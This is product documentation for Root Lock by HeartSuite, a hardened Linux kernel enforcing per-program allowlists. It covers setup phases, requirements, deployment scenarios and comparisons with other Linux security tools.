Root Lock by HeartSuite Documentation

• 1: Introduction and Overview
• 1.1: Root Lock by HeartSuite Overview
• 1.2: The Setup Journey
• 1.3: System Requirements
• 1.4: Deployment Scenarios
• 1.5: How Root Lock by HeartSuite Compares
• 1.6: Security as Economics
• 1.7: Linux Security Layer Analysis
• 1.8: When Root Isn't Enough
• 2: Getting Started
• 2.1: Before You Begin
• 3: Obtaining and Installing Root Lock by HeartSuite
• 3.1: Obtaining Root Lock by HeartSuite
• 3.2: Installing Root Lock by HeartSuite – Part 1
• 3.3: Installing Root Lock by HeartSuite – Part 2
• 4: Verifying Installation and Basic Setup
• 5: Allowlisting Programs
• 5.1: Allowlisting Basics
• 5.2: Batch Allowlisting Tools
• 6: Script Launchers and Python Setup
• 6.1: How Script Launchers Work
• 6.2: Configuring Script Launchers
• 6.3: Included Script Launchers
• 7: Network and Remote Access
• 8: Alert Settings
• 9: Mode Switching and Lockdown
• 10: Licensing and Subscription
• 11: Advanced Configuration and Maintenance
• 11.1: Protecting During Maintenance
• 11.2: Adjusting the Cache Size
• 11.3: Restricting Kernel Module Loading
• 11.4: Updating HeartSuite
• 11.5: File Backup and Versioning
• 12: Troubleshooting and Logs
• 13: FAQs
• 14: Kernel Security Transparency
• 15: Kernel Hardening
• 15.1: Kernel Hardening Comparison Matrix
• 15.2: Security Auditor Brief: Kernel Hardening Posture
• 15.3: Procurement Brief: Kernel Hardening at a Glance
• 15.4: LSM Comparison: HeartSuite vs SELinux, AppArmor, and TOMOYO
• 15.5: Analyst Summary: HeartSuite Kernel Hardening
• 16: Roadmap 2016 — present
• 17: Appendices
• 18: Compliance Quick Reference
• 19: Compliance Reference: NIST CSF & ISO 27001
• 20: SOC 2 Control Mapping

1 - Introduction and Overview

Root Lock by HeartSuite | Zero Day Secure-by-design

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel level — per program, not per user. In Lockdown, any program not on the allowlist — including malware running as root — is blocked before it can execute. The immutable seal refuses any change to the allowlist while running, including by root. Undoing Lockdown requires a reboot with physical access. See Mode Switching and Lockdown for the mechanism. The Dashboard guides you through a 7-phase journey from installation to Lockdown, always showing your current progress and the Suggested Next Step.

In this section

• Root Lock by HeartSuite Overview — Core features, how it protects against malware, and the 7 phases.
• The Setup Journey — The seven phases from installation to Lockdown, the Cloud and Local paths, and how the Dashboard guides you.
• System Requirements — Compatible systems, kernel versions, and prerequisites.
• Deployment Scenarios — Environments and workloads where Root Lock by HeartSuite fits best, plus notes on incompatible stacks.
• How Root Lock by HeartSuite Compares — What Root Lock by HeartSuite replaces, what it complements, and how it can be circumvented.

For detailed installation steps, see Installation. Root Lock by HeartSuite supports both Cloud (pre-installed) and Local (manual install) paths — both converge at the Dashboard after Phase 1 (System Verification).

1.1 - Root Lock by HeartSuite Overview

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three — per program, not per user. Your SSH server and your web server both run as root; they still get different permissions because they are different programs. Any program not on the allowlist is blocked at the kernel before it can run or cause damage.

Kernel-level enforcement

Root Lock by HeartSuite uses a modified Linux kernel that enforces an allowlist-based security model. No program can execute without an allowlist entry — and each allowlist entry also controls which files the program can read or write, and which network connections it can make. Even if malware is downloaded to a Root Lock by HeartSuite server, the kernel prevents it from running or causing damage.

The Dashboard is the central interface. It tracks your progress through a 7-phase setup journey, shows what’s waiting for review, and always suggests the next step.

The 7 phases

Reduced kernel footprint

The security industry patches vulnerabilities one at a time. Root Lock by HeartSuite removes the features attackers rely on instead.

Most malware escalates privilege by reaching for the same handful of kernel features. eBPF to hide processes. FUSE to redirect reads. Overlay filesystems to shadow protected directories. Userspace security frameworks — AppArmor, SMACK, Landlock — to pivot through. Unprivileged user namespaces to become root without credentials.

The Root Lock by HeartSuite kernel is compiled without any of them.

A stock Ubuntu kernel ships with over 6,600 loadable modules and a configuration file of more than 12,000 lines. The Root Lock by HeartSuite kernel ships with 13 modules and 5,050 lines — one file you can read in an afternoon.

Detection tools like Falco, Cilium Tetragon, and bpftrace watch these features and raise alerts when something looks suspicious. Root Lock by HeartSuite takes a different path. It removes them. Nothing to watch. Nothing to bypass. No agent to keep alive. No race against the attacker. For a visual comparison of enforcement layers, see Kernel architecture.

For the practical implications of these compile-time choices, see System Requirements → Software Compatibility Notes.

Features

1. Program Allowlist

An allowlist entry defines what a program is permitted to do — whether it can execute, which files it can read or write, and which network connections it can make. The Root Lock by HeartSuite kernel requires every program to have an allowlist entry before it is permitted to run.

The Dashboard review queues present pending items for approval:

• Programs queue ([p]) — programs attempting to execute
• File Access queue ([f]) — programs attempting to read or write files
• Internet Access queue ([i]) — programs attempting outbound connections

Each queue manages volume through intelligent grouping — not blind bulk approval:

• Individual review: Items shown one at a time with full metadata (package name, description, category, maintainer, install date)
• Grouped review: Related items (e.g., “847 file reads from /usr/lib/python3/”) presented as a single group with a representative sample shown
• Queue summary: An orientation view of total counts and a breakdown by program shown before reviewing begins

File access is divided into read access and write access. Write access always includes read access. These are approved separately — approving a file read grants read access; approving a file write upgrades to write access.

2. Setup Mode and Lockdown

Root Lock by HeartSuite operates in two modes:

• Setup Mode: The kernel logs all program executions, file accesses, and network connections without blocking them. Use this mode to build the allowlist by reviewing queues and approving programs and their access patterns. The Dashboard guides this process.
• Lockdown: The kernel enforces the allowlist. Programs without an allowlist entry are blocked. Programs that exceed their permissions are blocked.

Activating Lockdown requires all review queues to be empty, alerts to be configured, and an active subscription. The Dashboard presents a precondition checklist and requires typing YES (case-sensitive) to confirm.

3. Lockdown

Lockdown protects the integrity of allowlist entries by making them immutable. Once applied, no changes can be made to the allowlist while the server is running — preventing attackers from modifying the security configuration, even with root access.

After activating Lockdown, the Dashboard offers one reboot option: [r] Reboot — Lockdown active on next boot. Lockdown is engaged automatically on every HeartSuite kernel boot; no program or user, including root, can reverse it at runtime. To make changes, the Dashboard’s Maintenance ([t]) guides you through the correct maintenance path — including a guided 3-step process that boots the Non-HS kernel.

Because access permissions are enforced inside the Root Lock by HeartSuite kernel itself, Root Lock by HeartSuite cannot be circumvented by any program or user, including root, while the Root Lock by HeartSuite kernel is running.

4. File backup and versioning

Root Lock by HeartSuite automatically backs up files in designated directories and prevents all programs from accessing the backups — only Root Lock by HeartSuite itself can reach them. The version manager can restore any version of a backed-up file, regardless of whether it was encrypted, deleted, or modified.

Modern ransomware destroys backup systems before encrypting files — shadow copies and backup agents are typically the first targets. Root Lock by HeartSuite’s backups are not permission-protected: under Lockdown, the kernel itself blocks write access to backup files. No program, including root, can reach them.

The allowlist blocks most attacks at the kernel. When an approved program is compromised, a backup on every write means recovery starts from the moment before damage began — not the last scheduled snapshot.

5. Secure Script Launchers

Allowlist entries can be created for interpreted code such as Python, PHP, and Perl. Root Lock by HeartSuite provides Secure Script Launchers that identify the specific script being run when an interpreter is launched, enabling per-script access control with the same granularity as compiled programs.

Two setup paths

Cloud Path: Launch a pre-installed cloud instance. The Dashboard appears immediately and confirms Phase 1 is complete. Proceed directly to the review queues.

Local Path: Download from heartsecsuite.com, extract, install, and boot the Root Lock by HeartSuite kernel. The System Setup guides you through multiple setup steps with a step counter. Once the Dashboard confirms Phase 1 is complete, both paths merge.

How Root Lock by HeartSuite stands alone

No other product combines all three: enforcement that survives root compromise, standalone operation with no background process or vendor console, and a backup on every file write — not on a schedule, on every write. Each exists separately in other products. Together, they make Root Lock by HeartSuite the right choice for deployments where the security layer itself must be protected from the attacker who is already inside. The allowlist is sealed — immutable on disk, refused at runtime by the kernel itself: no program or user, including root, can modify it while the system is running. The backup files are protected by the Root Lock by HeartSuite kernel itself, not by filesystem permissions.

Is Root Lock by HeartSuite right for you?

Root Lock by HeartSuite is a strong fit for production servers, closed appliances, regulated workstations, build and CI infrastructure, AI agent sandboxes, and container hosts — the installer includes a Container host option that enables overlay filesystem support and Setup Mode recording adapted for container runtimes. Hosts where eBPF-based tooling must run locally require a non-HS kernel. See Deployment Scenarios for a full breakdown.

If you already run Falco, AppArmor, gVisor, or a Linux EDR agent — or a SIEM, NDR platform, or vulnerability scanner — see How Root Lock by HeartSuite Compares to understand which tools Root Lock by HeartSuite replaces, which it runs alongside, how it can be circumvented, and how the operational cost compares to SELinux, EDR, and tools like Zafran — including what changes for patching urgency and alert volume.

To get Root Lock by HeartSuite: launch a pre-installed cloud instance or download the Local Path package from heartsecsuite.com. Both arrive at the Dashboard — Getting Started covers the rest.

1.2 - The Setup Journey

Overview: Root Lock by HeartSuite must complete a guided setup journey in Setup Mode before it can enforce security in Lockdown.

Why Setup Mode is necessary

Root Lock by HeartSuite enforces a default-deny policy: every program must be explicitly approved to execute, to access files, and to make network connections — including programs running as root. Immediately after installation, the allowlist is empty. If the system activated Lockdown at this point, it would block the programs required for boot and shutdown, rendering the system inoperable.

Setup Mode solves this problem. In Setup Mode, Root Lock by HeartSuite logs all activity without blocking anything. You review activity through the Dashboard queues, approve programs and their access, and build an allowlist that reflects the system’s actual workload. Once the allowlist is complete, you activate Lockdown.

Setup Mode is the default after installation. Root Lock by HeartSuite’s automated backup also operates during Setup Mode, capturing versions of protected directories so files can be restored even before Lockdown is active.

The 7 phases

Root Lock by HeartSuite organizes the setup journey into seven phases. The Dashboard tracks progress through each phase and always displays a Suggested Next Step.

Cloud vs. Local Path

Cloud Path

Users who launch a pre-installed Root Lock by HeartSuite cloud instance (AWS AMI, GCP image) boot directly into Setup Mode. The Dashboard confirms Phase 1 is complete. The Dashboard appears on first login with the current system state and a Suggested Next Step. No manual verification is required.

Local Path

Users who install Root Lock by HeartSuite on bare-metal or custom VMs follow a longer path:

1. Download and extract the installation package.
2. Prepare GRUB and install the Root Lock by HeartSuite kernel.
3. Root Lock by HeartSuite reads the startup and shutdown logs automatically, rebooting between passes until all startup and shutdown programs are in the allowlist.
4. After Phase 1 is complete, the Dashboard appears and the journey merges with the Cloud path.

Both paths converge at the Dashboard after Phase 1. From that point forward, the workflow is identical.

From installation to Lockdown

The following diagram shows the path from installation to Lockdown, including the maintenance cycle.

graph TD
    A[Install Root Lock by HeartSuite] --> B{Cloud or Local?}
    B -- Cloud --> C[Boot instance — Dashboard confirms Phase 1 complete]
    B -- Local --> D["Boot setup runs automatically — reboots between passes"]
    D --> C
    C --> E[Dashboard appears — Suggested Next Step]
    E --> F["Phase 2: Programs queue — approve programs"]
    F --> G["Phase 3: Script Launchers — if applicable"]
    G --> H["Phase 4: File Access queue — approve file access"]
    H --> I["Phase 5: Internet Access queue — approve connections"]
    I --> J["Phase 6: Configure alerts"]
    J --> K["Phase 7: Activate Lockdown"]
    K --> L["[r] Reboot — Lockdown active on next boot"]
    L --> M{Maintenance needed?}
    M -- Yes --> N["Maintenance guides through steps"]
    N --> K
    M -- No --> O[System secured]

Activating Lockdown

When phases 2 through 6 are complete, the Dashboard unlocks Phase 7. The Suggested Next Step will prompt you to activate Lockdown. Activating Lockdown requires typing YES (case-sensitive) to confirm and displays an allowlist summary and pre-condition checklist before proceeding.

After activating Lockdown, the Dashboard offers one reboot option: [r] Reboot — Lockdown active on next boot. Lockdown is engaged automatically on every HeartSuite kernel boot.

Maintenance in Lockdown

To perform system maintenance after activating Lockdown, select Maintenance ([t]) from the Dashboard. The immutable seal is active by default — the Maintenance guides you through a 3-step process across two reboots: removing immutable flags on the Non-HS kernel, making changes, then returning to the Root Lock by HeartSuite kernel to review new activity. The Dashboard resumes at the correct step after each reboot.

For full details, see Protecting During Maintenance.

1.3 - System Requirements

Overview: Root Lock by HeartSuite requires an x86 Linux system running a supported distribution — Debian/Ubuntu-derived or Alpine. RPM-based distributions (RHEL, Fedora, CentOS, Rocky Linux, AlmaLinux, SUSE, openSUSE) are coming soon. It ships with two Root Lock by HeartSuite kernels (5.19 and 6.18) and a set of tools that enforce allowlist-based security at the kernel level.

Supported platforms

Root Lock by HeartSuite supports Debian/Ubuntu-derived and Alpine distributions on x86. RPM-based distributions (RHEL, Fedora, CentOS, Rocky Linux, AlmaLinux, SUSE, openSUSE) are coming soon.

Kernel

Root Lock by HeartSuite is distributed with two Root Lock by HeartSuite kernels based on mainline Linux: 5.19 and 6.18. One of these kernels must be booted for Root Lock by HeartSuite to function. The Dashboard verifies kernel activation as part of Phase 1 (System Verification) and provides orientation on every boot.

Software compatibility notes

The Root Lock by HeartSuite kernel is compiled without several features that attackers use to gain elevated access or escape security restrictions — keeping them in would undermine kernel-level allowlisting. Software that relies on those features will not run on the Root Lock by HeartSuite kernel — use the Non-HS kernel or a separate system for those workloads.

The HS kernel is installed alongside your existing kernel via GRUB — it does not replace it. Setup Mode reveals any compatibility issue before Lockdown enforces: programs that would fail in Lockdown appear in the Dashboard review queues during the observation period. Software not in the table below will run without modification.

The Root Lock by HeartSuite kernel itself can run as a guest inside KVM, VMware, or other hypervisors — only running virtual machines from within the Root Lock by HeartSuite kernel is unavailable.

These are intentional design decisions. Root Lock by HeartSuite’s kernel-level allowlisting replaces the runtime observability and confinement layers these tools provide — see Root Lock by HeartSuite Overview → Reduced Kernel Footprint for the rationale, and Deployment Scenarios for environments where Root Lock by HeartSuite fits well versus workloads that are better left on the Non-HS kernel.

1.4 - Deployment Scenarios

Overview: Root Lock by HeartSuite enforces a default-deny policy at the kernel level — each program must be explicitly approved to execute, to access files, and to make network connections, including malware running as root. In Setup Mode, the system logs everything it sees so you can review and approve it through the Dashboard queues; Lockdown then enforces what you approved. Patches, new tools, and evolving workloads are added the same way: open a maintenance window — reboot into Setup Mode, install or change what you need, review the new entries in the queues, then re-engage Lockdown. Nothing about this depends on cloud connectivity, a SaaS policy server, or an agent-to-console channel — Root Lock by HeartSuite operates standalone. The HS kernel is installed alongside your existing kernel via GRUB — you can boot back to it at any time, and Setup Mode surfaces compatibility issues before Lockdown enforces anything. The scenarios below are where that model fits best, followed by the ones where it doesn’t.

Production servers

A web server serves pages. A database answers queries. A reverse proxy forwards traffic. Each has a shape that Setup Mode captures over a few days of logging — the programs that run, the files they touch, the destinations they reach — which you then review and approve in the Dashboard queues before activating Lockdown. Patches, package upgrades, and new services follow the same path: open a maintenance window, install the changes in Setup Mode, approve the new entries, then re-engage Lockdown. The immutable seal goes one step further: while the server runs, even root can no longer change the allowlist. An attacker with root is left with nowhere to go.

CVE-2026-31431 — privilege escalation via AF_ALG — demonstrates what this means. An attacker exploiting it reaches root. On a Root Lock by HeartSuite kernel, that path does not exist — AF_ALG is not compiled in. But even if it had been, Lockdown closes every path from there. The kernel refuses to clear immutable flags. Mount operations are blocked. Writes to the audit log are blocked. Root cannot modify configuration, cannot add a backdoor, and cannot survive a reboot.

See Kernel Security Transparency for the full CVE status table and scanner guidance.

Closed appliances and embedded devices

A kiosk, a point-of-sale terminal, an industrial control gateway, a network appliance, a medical device, a defence endpoint — these systems don’t have interactive users. They have a job. The programs that do the job are fixed. An attacker’s first move is usually to introduce a new one, and Root Lock by HeartSuite blocks that move before it starts. Lockdown extends that protection so even root cannot quietly extend the allowlist while the system runs. File Backup is the recovery layer behind both. The kernel restricts the backup directory to HeartSuite’s own backup tooling — no other allowlisted program, however privileged, can read or overwrite it. So even if an approved program is compromised and corrupts a file, the previous versions remain intact and restorable from the Dashboard’s Backup.

Regulated workstations and analyst systems

In financial, legal, healthcare, and defence workplaces, a workstation’s toolchain is set by policy, not preference. The Dashboard includes review queues that let you approve each tool and add it to the allowlist. Only the tools you approve can execute — everything else is blocked.

In regulated industries — financial services, healthcare, defence — auditors ask a specific question: can an administrator, or an attacker who has compromised an administrator account, disable your security controls? With Lockdown active, the answer is no. No program or user inside the running Root Lock by HeartSuite kernel, including root, can modify the allowlist or disable enforcement. Disabling enforcement requires reaching the boot path itself: a keyboard and monitor on a physical machine, a serial console, or — on a virtual machine — the hypervisor that owns the guest’s disk image and memory. On VMs the hypervisor becomes the outer protective layer; Root Lock by HeartSuite protects everything inside. Platform controls that protect the boot path (measured boot, disk encryption with keys held by the platform, controlled hypervisor access) extend that protection upward. For environments subject to SOC 2, PCI DSS, HIPAA, or ISO 27001, that is a concrete answer to the privileged-access control question — and a clear specification of which controls remain the platform’s responsibility.

For managed security providers, this answer is the same for every HeartSuite-protected server they manage: under Lockdown, no administrator credential, no root session, and no remote path changes the security policy. Bypass requires physical presence. For the competitive comparison on this point, see How Root Lock by HeartSuite Compares.

Build, CI, and release infrastructure

A build host sits at the top of a supply chain. Compromise it, and every downstream consumer is at risk. CVE-2024-27198 — JetBrains TeamCity, unauthenticated RCE — demonstrates what this means. An attacker who reaches a TeamCity server can execute any program without credentials. On a Root Lock by HeartSuite build host, that program has no allowlist entry. The kernel refuses to run it.

A supply chain attacker who compromises the build pipeline itself — using its own credentials and tooling — does not introduce a new program; in the May 2026 TanStack incident, 84 malicious package versions across 42 packages were published in six minutes using valid pipeline credentials. The execution gate fires but does not block: the pipeline already has a valid allowlist entry. The attack is contained, not prevented at execution. The network allowlist still blocks: a compromised build tool cannot reach destinations outside its approved list, regardless of credential validity.

Root Lock by HeartSuite restricts the host to only approved programs, controlling which can execute, which files they can access, and which network connections they can make:

• Compilers, linkers, signing tools, and release scripts you approved in Setup Mode.
• Network destinations they need to fetch dependencies and publish build artifacts.

File Backup keeps versioned copies of signing keys and build output. The kernel restricts those copies to HeartSuite’s backup tooling — a compromised compiler, linker, or signing tool cannot read or overwrite them. So even if an approved tool is compromised, the previous versions remain intact and restorable from the Dashboard’s Backup.

Offline and air-gapped deployments

Some systems cannot assume the network is there. Industrial control networks, defence systems, classified environments, ships, aircraft, and recovery-of-last-resort servers either have no outbound connectivity or cannot be permitted to reach the internet at all. Root Lock by HeartSuite operates standalone — the allowlist lives on the machine, enforcement happens inside the kernel, and logs go to whichever local channel you configure. There is no telemetry upstream and no policy server to round-trip with. An offline Root Lock by HeartSuite system protects exactly the same way as an online one. Cloud-dependent EDRs degrade sharply in these environments; Root Lock by HeartSuite does not.

AI agent and automation sandboxes

Autonomous agents are powerful because they decide what to do next. That is also why they need a cage. Pwn2Own Berlin 2026 added an AI/ML tools category for the first time; every target fell. Run Root Lock by HeartSuite as the guest kernel inside a per-task virtual machine — a Kata Container, a Firecracker microVM, or plain KVM. You build the allowlist once: run a representative agent task in Setup Mode, review and approve the tools it uses through the Dashboard queues, then bake that allowlist into the VM image. Each task VM boots from that image into Lockdown with the allowlist already in force. The allowlist holds for the life of the task. Then the VM is gone. Enforcement is in the guest kernel itself — no LSM module to unload, no userspace shim to detach, no separate agent process to kill from inside the guest. gVisor adds a userspace syscall filter to protect the host from an untrusted guest; Root Lock by HeartSuite is the guest kernel, protecting the workload from an attacker who reaches root inside the VM.

Container hosts

Docker, containerd, Kubernetes, and CRI-O all run on a Root Lock by HeartSuite host. The installer detects which container engine is present and asks you to choose a Container host or Standard host install. Container host installs include overlay filesystem support and Setup Mode behavior adapted for container runtimes — Setup Mode logs container-runtime programs, overlay mounts, and each container image intended to run under Lockdown so you can review and approve them in the Dashboard queues before activating Lockdown.

Lockdown seals the running container set — the kernel stops accepting new mount operations, including the overlay mounts and bind-mounts every container start requires. The same protection blocks attackers from constructing paths to shadow protected files. Containers running at the moment Lockdown engages continue running. New containers, image pulls, and restarts after exit each require a maintenance window — reboot to Setup Mode, start the containers, return to steady state, and re-engage Lockdown. The Dashboard shows mount-refusal messages from the kernel when a container engine tries to start a new container after Lockdown.

This is the right pattern for long-lived service containers, Kubernetes nodes with a stable pod set, and batch jobs that complete before Lockdown engages.

Where Root Lock by HeartSuite is not a fit

A few workloads are not compatible with the Root Lock by HeartSuite kernel as shipped:

• Hosts requiring continuous container scheduling — dynamic deployments, autoscaling, and pod rescheduling after node loss each require new mount operations that Lockdown refuses. Container hosts with a steady-state workload are supported via the Container-host install above.
• Hosts where eBPF-based tooling must run locally — Falco, Cilium, Tetragon, bpftrace, and similar tools require BPF syscalls that are not present on the HS kernel. These tools can still observe the HS host from adjacent infrastructure via network taps or log forwarding. For on-host forensics during incident response, eBPF-based tools are not available; strace and /proc inspection remain available.
• Hypervisor hosts running virtual machines — Root Lock by HeartSuite protects workloads running inside a kernel; a hypervisor host runs the inverse model, granting trusted access to guest workloads it does not control. The HS kernel is built for the first case, not the second. KVM host mode — Root Lock by HeartSuite acting as the hypervisor — is not a supported configuration; the kernel features KVM requires have been compiled out. Root Lock by HeartSuite runs as a VM guest on KVM, cloud hypervisors, and other platforms, and provides kernel-level enforcement inside the guest — which is the deployment shape this product was designed for.
• Systems that require rootless containers — unprivileged user-namespace creation is disabled by policy on the HS kernel; it is a common path to privilege escalation without credentials. Workloads requiring rootless containers should run on a separate host.
• Applications that update daily or on an unpredictable schedule — each update that adds a new binary, dependency, or network destination requires a maintenance window: open Setup Mode, run the update, approve the new allowlist entries, and re-engage Lockdown. That process fits controlled patch schedules. At daily cadence the overhead is daily. Applications with a predictable update cycle are a better fit.

See System Requirements → Software Compatibility Notes for the full list.

Kubernetes-native runtime security, cross-platform endpoint protection across Windows and macOS, developer per-application sandboxing, and enterprise backup at fleet scale each have dedicated products built for them. Root Lock by HeartSuite is built for one thing: Linux systems where the security policy must survive a compromised root account.

1.5 - How Root Lock by HeartSuite Compares

Overview: Root Lock by HeartSuite controls per program whether it can execute, which files it can read or write, and which network connections it can make — including for programs running as root. Standard operating systems grant these rights to users. Ken Thompson built Unix that way in 1969 on an unused PDP-7 at Bell Labs — designed for a small group of trusted researchers, not for networked infrastructure or a world with malware. Every operating system since inherited the decision unchanged. Root Lock by HeartSuite does not. It replaces a set of runtime-confinement and kernel-observability tools whose enforcement can be disabled by an attacker with root. It does not replace your SIEM, network detection, vulnerability scanner, or HIDS — those answer different questions and should be run alongside.

Kernel architecture

graph TB
    Root(["Root attacker"])

    subgraph SL["Standard Linux — runtime layers"]
        EDR["EDR agent\nCrowdStrike · SentinelOne"]
        BPF["eBPF runtime\nFalco · Tetragon · Sysdig"]
        LSM["LSM hooks\nAppArmor · SELinux"]
        K["Kernel binary"]
        EDR --> BPF --> LSM --> K
    end

    subgraph HS["Root Lock by HeartSuite — compiled enforcement"]
        HSK["Kernel binary\nenforcement compiled in\nBPF syscall absent"]
    end

    Root -."kill".-> EDR
    Root -."unload".-> BPF
    Root -."set permissive".-> LSM
    Root -."no path".-> HSK

    style EDR fill:#fdd,stroke:#c44
    style BPF fill:#fdd,stroke:#c44
    style LSM fill:#fdd,stroke:#c44
    style K fill:#eee,stroke:#888
    style HSK fill:#d4f4dd,stroke:#2a7a40

Standard Linux security tools are runtime layers an attacker with root can reach and disable. Root Lock by HeartSuite compiles enforcement into the kernel binary itself — the BPF syscall is absent, so there is no eBPF layer to unload, no agent to kill.

Every published Linux kernel CVE comes with the same question: is that kernel feature compiled into your hosts? For the features Root Lock by HeartSuite has compiled out, the answer is always no — without patching, without policy, without an agent checking.

Most runtime security products sit at Layer 3 (LSM hooks such as SELinux and AppArmor) or Layer 5 (userspace EDR agents such as CrowdStrike Falcon and SentinelOne). Root Lock by HeartSuite sits at Layer 2: enforcement is compiled into the kernel binary itself, not applied to it from outside. That placement is why every bypass in the table below requires physical presence rather than a remote privilege escalation. For the full taxonomy with all products mapped by layer, see Layer Analysis.

Security as economics

For an analysis of attacker cost, defender operational cost, and ROI comparison against SELinux, EDR, Zafran, and CTEM programs, see Security as Economics.

What Root Lock by HeartSuite replaces

The comparison below is scoped to preventive enforcement; telemetry, behavioural analytics, and incident response are addressed separately in What Root Lock by HeartSuite Complements. These products provide runtime confinement or kernel-level enforcement of some kind. Each has a known bypass path. The Root Lock by HeartSuite row is included in the same format for direct comparison — see Circumvention and Recovery below for detail.

The common pattern. Every product in this table can be disabled by an attacker who has already reached root. Root Lock by HeartSuite cannot — its enforcement is compiled into the kernel and its allowlist is sealed by filesystem immutability under Lockdown. This requires a different operational model, discussed in Circumvention and Recovery.

What each tool does best. Bypass surface is one dimension of comparison, not the whole picture. Each product above retains strengths Root Lock by HeartSuite does not replicate.

eBPF observers — Falco, Cilium Tetragon, Sysdig Secure, Tracee, and bpftrace — ship mature rule libraries, Kubernetes-aware context, and fleet-wide runtime telemetry. For behavioural alerting on Kubernetes nodes — particularly autoscaled clusters where Root Lock by HeartSuite does not fit — those tools remain the right answer, and they can observe a Root Lock by HeartSuite host from adjacent infrastructure via network taps or log forwarding.

Userspace LSM frameworks — AppArmor, SELinux, SMACK, Landlock — offer policy capabilities Root Lock by HeartSuite does not replicate: SELinux refpolicy and domain transitions, AppArmor’s distribution-shipped per-application profiles, Landlock’s per-application self-confinement primitive. Root Lock by HeartSuite’s value is the sealed boundary — chattr +i immutability plus a running kernel that refuses runtime changes — not richer policy syntax. Migrating from AppArmor requires no cleanup: CONFIG_SECURITY_APPARMOR is compiled out of the HS kernel and existing profiles cease to apply at the first HS kernel boot.

seccomp-bpf sandboxes in systemd services, browser sandboxes, bubblewrap, and firejail sit closer to the syscall surface than Root Lock by HeartSuite can. A Chromium renderer’s own seccomp filter is genuine defence-in-depth from inside the program; Root Lock by HeartSuite does not replace it, and both layers are worth keeping.

gVisor addresses a different threat model — host protected from untrusted guest, via a userspace syscall-emulating kernel. Root Lock by HeartSuite addresses workloads protected from compromised root inside the kernel they run on. The two compose: Root Lock by HeartSuite as the guest kernel inside a gVisor-isolated container is a coherent stack.

Linux EDR — CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, FortiEDR — provides telemetry, behavioural analytics, fleet-wide correlation through a SOC console, threat intelligence, and incident response. Root Lock by HeartSuite provides none of those. The honest position is prevention versus detection; most regulated environments run both, with HS block events forwarded to the EDR ingestion pipeline via the syslog channel rather than an on-host sensor.

Capability-based confinement

Capsicum (FreeBSD) operationalizes the same core thesis as Root Lock by HeartSuite: ordinary programs should not have unrestricted default access to the global OS namespace. It is the most architecturally principled approach to that problem outside of Root Lock by HeartSuite, and the comparison is worth being direct about.

How Capsicum works. After cap_enter(), any syscall that traverses a global namespace — open() with an absolute path, kill() with a PID — returns ECAPMODE immediately. Default access paths through the OS are severed at the syscall boundary. Per-FD rights masks then control what operations each open file descriptor permits. The design enforces this directly: no path through the global namespace means no access.

What structural elimination costs. Every sandboxed application — or a wrapper around it — must be rewritten. The application calls cap_enter(), pre-opens every file descriptor it will ever need before that call, and uses openat(fd, …) relative to those FDs thereafter. Sandboxing OpenSSH under Capsicum required explicit modifications to sandbox-capsicum.c. Libcasper exists specifically to handle operations that cannot be pre-opened — DNS lookups, /etc/passwd reads — via a dedicated delegation channel. For software you write yourself, the model is clean. For a fleet of existing Linux binaries you did not write, it means modifying every program you want to protect — or not protecting it.

How HS reaches the same goal without application changes. VFS hook points in namei.c, open.c, exec.c, and exit.c intercept path traversal and check the calling process’s allowlist entry against the path. Network hooks in socket.c check outbound routable connections — both connect() calls and sendto() calls with an explicit destination address — against the program’s IP allowlist; local IPC over UNIX domain sockets and NETLINK is exempt by design. Default access paths are filtered rather than severed. Existing Linux binaries run without modification; Root Lock by HeartSuite observes what they do and enforces the allowlist against it. Root Lock by HeartSuite makes this choice — hook-at-VFS rather than cap_enter-before-first-access — precisely to enable application transparency: no binary needs to be rewritten to be protected.

The Setup Mode gap. Capsicum has no learning phase. Policy lives in application source code, written at development time by the developer who wrote the application. There is no “observe what this binary actually needs at runtime, then derive its allowlist” workflow. For any environment running software it did not write — which is most production infrastructure — HS’s Setup Mode is the practical path: record what the binary does, review, approve, then lock. Capsicum offers no equivalent.

The policy-integrity gap. Because Capsicum’s policy is application code, there is no runtime policy database to protect after deployment. Root Lock by HeartSuite maintains an allowlist database, and Lockdown seals it — chattr +i across the relevant paths plus a kernel flag that blocks chattr via the ioctl hook at runtime, so no running program can remove the immutability. That second layer — protecting the policy itself from an attacker who has already reached root — has no analogue in Capsicum’s design, because Capsicum never needed it. Root Lock by HeartSuite needs it precisely because its policy is something an attacker would want to modify.

Platform. Capsicum is primary on FreeBSD. Linux support is incomplete. HS targets Linux 5.19.6 and 6.18 natively.

The two designs make opposite choices: modify the application, or maintain a policy database. For a Linux fleet running software you did not write, Root Lock by HeartSuite’s approach — maintain the database, get transparency and the full Setup → Lockdown lifecycle — is the one that covers the workload.

Formally verified microkernels

seL4 is the benchmark for machine-checked security guarantees in an OS kernel. Its proofs establish that every syscall behaves exactly as specified, that no information can pass between components without an explicit connection, and that these properties hold in the compiled binary on select platforms. Root Lock by HeartSuite and seL4 share the same goal — prevent programs from reaching resources they were not explicitly granted access to — and diverge on almost everything else.

How seL4 works. seL4 is a microkernel of roughly 10,000 lines of C backed by machine-checked proofs. Every kernel object — memory region, communication channel, thread control block — is named and accessed through an unforgeable token. A process starts with exactly the tokens its creator delegates, nothing more. To reach a file, a process must hold a token for that file’s underlying storage. To message another process, it must hold a token for the communication channel. There is no global path namespace to traverse: if you do not hold the token, the kernel rejects the call before any check fires.

What those guarantees require in practice. seL4’s proofs depend on keeping the kernel small enough that every line can be verified — roughly 10,000 lines of C. That means seL4 contains no file system, no network stack, no device drivers. Every service that exists in a standard Linux installation — SSH, package management, web server, any application — must be rebuilt as a userspace component with explicit token grants. Existing Linux software does not run on seL4 without a full OS porting effort. For a commercial server running standard software, deploying seL4 means replacing the entire software environment, not just the kernel.

How Root Lock by HeartSuite enforces the same principle on existing software. Root Lock by HeartSuite installs as a modified Linux kernel on a host already running standard software. Root Lock by HeartSuite controls whether each program can execute, which files it can read or write, and which network connections it can make — the existing binaries run without modification. Root Lock by HeartSuite observes what each binary does during Setup Mode; you build the allowlist through the Dashboard queues, review and approve, then engage Lockdown. The guarantee is a kernel-enforced allowlist on the software the host already runs.

